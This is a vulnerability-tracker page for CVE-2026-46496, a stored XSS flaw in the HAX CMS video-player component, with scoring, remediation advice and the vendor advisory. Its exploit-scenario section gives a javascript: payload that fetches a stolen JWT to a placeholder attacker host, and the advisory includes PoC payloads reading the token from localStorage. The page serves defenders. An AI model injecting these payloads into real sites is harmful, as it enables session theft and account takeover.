Skip to main content

HAX CMS CVE-2026-46496

| EUVDEUVD-2026-34892 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-05-19 https://github.com/haxtheweb/issues GHSA-2m6p-hm3w-6jm3
9.3
CVSS 4.0 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Obtain low-privilege CMS author account
  2. Delivery
    Open HTML source editor on a page
  3. Exploit
    Inject `<video-player source="javascript:...">` payload
  4. Install
    Save page so payload is stored
  5. C2
    Victim (ideally admin) loads page
  6. Execute
    JavaScript executes in CMS origin
  7. Impact
    Exfiltrate JWT and hijack session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must hold a HAX CMS authoring account with permission to edit page HTML via the source editor (<>) - CVSS PR:L confirms low-privilege authentication, not unauthenticated access. A victim user must subsequently load the stored malicious page (CVSS UI:P - passive user interaction by viewing). The specific feature required is the <video-player> custom element from @haxtheweb/video-player <= 25.0.0 with a source or source-data attribute carrying a javascript: URI; impact is maximized when the victim is an administrator, since the stolen JWT then grants full CMS control. Exploitation is limited on deployments that disable open authoring, restrict raw HTML editing to trusted roles, enforce a strict CSP that blocks javascript: URIs, or store the JWT outside localStorage.

Impact

The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N produces a base score of 9.3, reflecting network reach, low complexity, low-privilege author access, required user interaction (a victim must view the page), and high impact on confidentiality and integrity of both the vulnerable component and a subsequent system - consistent with stored XSS that pivots to admin compromise. No EPSS score, KEV listing, or SSVC decision data was provided in the input, so widespread automated exploitation cannot be inferred; risk is realistically a targeted insider/low-trust-author abuse path rather than mass exploitation. The most important caveat is that PR:L means an attacker must already have a CMS authoring account, which materially limits exposure on closed-author deployments but offers little protection on multi-tenant or open-registration HAX CMS sites where any user can edit pages.

Exploit ScenarioDerived

An attacker with any authoring account on a HAX CMS instance opens the HTML source view (<>) and saves a page containing <video-player source="javascript:fetch('https://attacker.tld/?j='+localStorage.getItem('jwt'))" source-type="external"></video-player>. When a co-author or administrator later views that page, the script runs in the CMS origin, exfiltrating the JWT and enabling the attacker to impersonate the victim against the CMS API; the vendor advisory includes a working PoC demonstrating JWT extraction from localStorage.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv3 – Jun 05, 2026

Stored cross-site scripting in HAX CMS (npm packages @haxtheweb/haxcms-nodejs and @haxtheweb/video-player versions <= 25.0.0) allows any authenticated user to inject a <video-player> element whose source or source-data attribute carries a javascript: URI that executes when other users render the page. A public PoC in the vendor's GHSA advisory demonstrates JWT theft from localStorage, enabling session hijacking and full account takeover - especially severe when an administrator views the malicious page. No public exploit identified at time of analysis beyond the advisory PoC, and the issue is not listed in CISA KEV.

Earlier versions of this analysis (2)
v2 Jun 05, 2026 - 19:30 cvss changed CVSS 9.3

Stored cross-site scripting in HAX CMS (npm packages @haxtheweb/haxcms-nodejs and @haxtheweb/video-player at versions <= 25.0.0) allows any authenticated user to inject a javascript: URI into the source or source-data attributes of the <video-player> web component, executing arbitrary JavaScript when other users - including administrators - view the page. Publicly available exploit code exists in the GitHub Security Advisory GHSA-2m6p-hm3w-6jm3, enabling JWT token theft, session hijacking, and full account takeover. No public exploit identified at time of analysis as actively used in the wild, but the CVSS 4.0 score of 9.3 (Critical) reflects high impact across confidentiality, integrity, and a changed scope.

v1 May 19, 2026 - 15:33

Stored cross-site scripting in HAX CMS's <video-player> web component allows any authenticated user to inject persistent JavaScript payloads that execute in the browsers of subsequent page visitors, including administrators. The source and source-data attributes of the <video-player> component accept arbitrary URI schemes - including javascript: - without validation, meaning attacker-controlled script runs in the victim's browser session context. A publicly available proof-of-concept demonstrates direct theft of JWT authentication tokens from localStorage, enabling session hijacking and full account takeover. Packages @haxtheweb/haxcms-nodejs and @haxtheweb/video-player at versions <= 25.0.0 are confirmed affected; no public exploit or KEV listing identified at time of analysis beyond the published PoC.

RemediationAI

Vendor-released patch: upgrade @haxtheweb/haxcms-nodejs and @haxtheweb/video-player to 26.0.0 or later via npm install @haxtheweb/haxcms-nodejs@^26 @haxtheweb/video-player@^26 and redeploy the CMS, per advisory GHSA-2m6p-hm3w-6jm3 (https://github.com/haxtheweb/issues/security/advisories/GHSA-2m6p-hm3w-6jm3). If immediate upgrade is not possible, compensating controls include server-side sanitization of stored HTML to strip any <video-player> element whose source or source-data attribute does not start with http://, https://, or a vetted relative path (this will break legitimate non-HTTP sources), restricting the HTML source editor (<>) to highly trusted roles only to reduce the pool of potential injectors, and moving the JWT out of localStorage into an HttpOnly cookie so a successful XSS cannot trivially exfiltrate the session token (note: this requires CSRF protections and CMS code changes). A strict Content-Security-Policy that forbids inline script and disallows javascript: URIs (script-src 'self'; ... without unsafe-inline) will also neutralize the PoC, with the trade-off of breaking any HAX components that rely on inline handlers.

Affected VersionsENISA

video-player < 26.0.0
haxcms-nodejs < 26.0.0

Affected Packages

npm @haxtheweb/haxcms-nodejs fix: 26.0.0
npm @haxtheweb/video-player fix: 26.0.0
euvd haxcms_nodejs fix: 26.0.0
euvd video_player fix: 26.0.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in npm, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HAX CMS is a headless, web-component-based content management system from The Pennsylvania State University's HAXTheWeb project, distributed as npm packages including @haxtheweb/haxcms-nodejs (the Node.js backend) and @haxtheweb/video-player (a Lit-based custom element). The root cause maps to CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the absence of URI-scheme validation on the source and source-data attributes of the <video-player> custom element. Because custom elements forward attribute values directly into DOM properties such as media src bindings, accepting the javascript: pseudo-scheme without an allowlist (e.g., http/https/data of safe MIME types) lets attacker-controlled script execute under the CMS origin, which holds the JWT used for authenticated CMS API calls.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

3
Analysis Updated
Jun 05, 2026 - 19:30 vuln.today
v3 - CVSS changed
Analysis Updated
Jun 05, 2026 - 19:30 vuln.today
v2 - CVSS changed
CVSS changed
Jun 05, 2026 - 19:22 NVD
9.3 (CRITICAL)

DescriptionGitHub Advisory

Summary

A stored cross-site scripting (XSS) vulnerability exists in HAX CMS due to improper sanitization of the <video-player> component.

The component allows javascript: URIs in the source attribute, which are executed when the page is viewed. This enables attackers to execute arbitrary JavaScript in the context of the victim’s browser and access sensitive data such as JWT tokens and more.

Details

The vulnerability is present in the <video-player> web component used within the HAX CMS editor.

The application fails to validate or sanitize user-supplied input in the following attributes:

  • source
  • source-data

These attributes accept arbitrary URI schemes, including javascript:, which leads to execution of attacker-controlled JavaScript in the browser.

Example vulnerable usage:

html
<video-player
  source="javascript:alert(document.domain)"
  source-type="external">
</video-player>

Because this content is stored and rendered to other users, the vulnerability is classified as a stored XSS.

The root cause is the lack of URI scheme validation and improper sanitization of component attributes before rendering. Because this content is stored and rendered to other users, the vulnerability is classified as a stored XSS.

The root cause is the lack of URI scheme validation and improper sanitization of component attributes before rendering.

PoC

Steps to reproduce:

  1. Log in to HAX CMS as user.
  2. Create a website or any page and switch to the HTML source editor (<>).
  3. Insert the following payload:
html
<video-player source="javascript:alert('JWT: '+localStorage.getItem('jwt').substring(0,30))" source-type="external"></video-player>

<img width="2456" height="1405" alt="image" src="https://github.com/user-attachments/assets/ea037043-7ff7-4840-bed0-1091692c6289" />

Save the page.

Reload or revisit or send the page.

Result <img width="2468" height="1394" alt="image" src="https://github.com/user-attachments/assets/543bbf69-900d-4e2d-bd6b-0658fb5aa899" />

A JavaScript alert executes. The JWT token is exposed. This confirms arbitrary JavaScript execution in the victim’s browser.

Impact

This vulnerability allows stored XSS leading to:

  • Theft of JWT authentication tokens
  • Session hijacking
  • Full account takeover
  • Execution of arbitrary JavaScript in victim browsers

If an administrator views a malicious page, this can lead to full CMS compromise.

Attack complexity: Low Privileges required: Low (any authenticated user) User interaction: Required

Executive ViewAI

Why It Matters

HAX CMS (npm packages @haxtheweb/haxcms-nodejs and @haxtheweb/video-player versions 25.0.0 and earlier) contains a stored cross-site scripting vulnerability that enables any authenticated user to inject malicious content capable of stealing session credentials and enabling account takeover. An attacker with basic user access could compromise administrator accounts when those users view contaminated pages, potentially leading to complete system compromise and unauthorized access to sensitive data.

Business Impact: Severe
Compensating Controls

Apply vendor patch. Interim mitigations: restrict authenticated user permissions to inject video-player elements until patched; implement Content Security Policy to block javascript: URIs; monitor application logs for suspicious video-player attributes; disable the video-player component if not in active use; review administrator session history for anomalies since deployment.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
3 sources
Confidence: Low

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy